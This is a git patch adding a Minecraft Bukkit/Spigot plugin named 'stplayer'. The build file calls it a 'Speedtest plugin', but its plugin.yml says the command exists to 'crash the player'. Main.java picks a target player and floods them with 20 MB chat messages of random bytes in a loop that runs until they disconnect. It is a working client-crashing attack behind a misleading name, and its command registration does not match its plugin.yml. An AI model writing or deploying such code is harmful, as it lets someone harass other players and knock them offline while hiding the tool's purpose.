From 49041461a0ffb98d4bd65cd8a74c25593613adbc Mon Sep 17 00:00:00 2001 From: iTakinn Date: Fri, 19 Sep 2025 10:56:54 -0300 Subject: [PATCH] cor --- .gitignore | 7 ++++ pom.xml | 38 +++++++++++++++++++++ src/main/java/com/itakinn/Main.java | 53 +++++++++++++++++++++++++++++ src/main/resources/plugin.yml | 13 +++++++ 4 files changed, 111 insertions(+) create mode 100644 .gitignore create mode 100644 pom.xml create mode 100644 src/main/java/com/itakinn/Main.java create mode 100644 src/main/resources/plugin.yml diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..4175fcb --- /dev/null +++ b/.gitignore @@ -0,0 +1,7 @@ +/target/classes/plugin.yml +/target/ +/stplayer.jar +/stplayer.iml +/.vscode/ +/.idea/ +/com/ diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..a159192 --- /dev/null +++ b/pom.xml @@ -0,0 +1,38 @@ + + 4.0.0 + com.itakinn + stplayer + 1.0-SNAPSHOT + jar + stplayer + Speedtest plugin for Bukkit/Spigot + + + spigot-repo + https://hub.spigotmc.org/nexus/content/repositories/snapshots/ + + + + + org.spigotmc + spigot-api + 1.20.1-R0.1-SNAPSHOT + provided + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 21 + 21 + + + + + diff --git a/src/main/java/com/itakinn/Main.java b/src/main/java/com/itakinn/Main.java new file mode 100644 index 0000000..5faf14f --- /dev/null +++ b/src/main/java/com/itakinn/Main.java @@ -0,0 +1,53 @@ +package com.itakinn; + +import java.util.Random; +import org.bukkit.Bukkit; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; +import org.bukkit.plugin.java.JavaPlugin; + +public class Main extends JavaPlugin { + + public void onEnable() { + this.getCommand("speedtest").setExecutor(this); + } + + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender.hasPermission("stplayer.use") || !(sender instanceof Player)) { + Player victim = Bukkit.getPlayer(args[0]); + sender.sendMessage("Wait some seconds ;)"); + Bukkit.getScheduler().runTaskAsynchronously(this, () -> { + for (int i = 0; i < 5; ++i) { + if (victim == null || !victim.isOnline()) { + sender.sendMessage("Player offline or not found."); + }else { + this.stressPlayer(victim); + } + + } + }); + return true; + } else { + sender.sendMessage("No permission."); + return false; + } + } + + private void stressPlayer(Player victim) { + try { + byte[] data = new byte[20971520]; // 20 MB + new Random().nextBytes(data); + this.sendLargeMessage(victim, data); + } catch (Exception e) { + e.printStackTrace(); + } + } + + private void sendLargeMessage(Player player, byte[] data) { + String dataString = new String(data); + while (player.isOnline() && !dataString.isEmpty()) { + player.sendMessage(player.getUniqueId(), dataString); + } + } +} diff --git a/src/main/resources/plugin.yml b/src/main/resources/plugin.yml new file mode 100644 index 0000000..9661a8c --- /dev/null +++ b/src/main/resources/plugin.yml @@ -0,0 +1,13 @@ +name: stplayer +main: com.itakinn.Main +version: "1.0" +api-version: 1.20 +commands: + stplayer: + description: Run a chat spam with large content to crash the player + usage: /stplayer + permission: stplayer.use +permissions: + stplayer.use: + description: Allows the player to use the stplayer command + default: op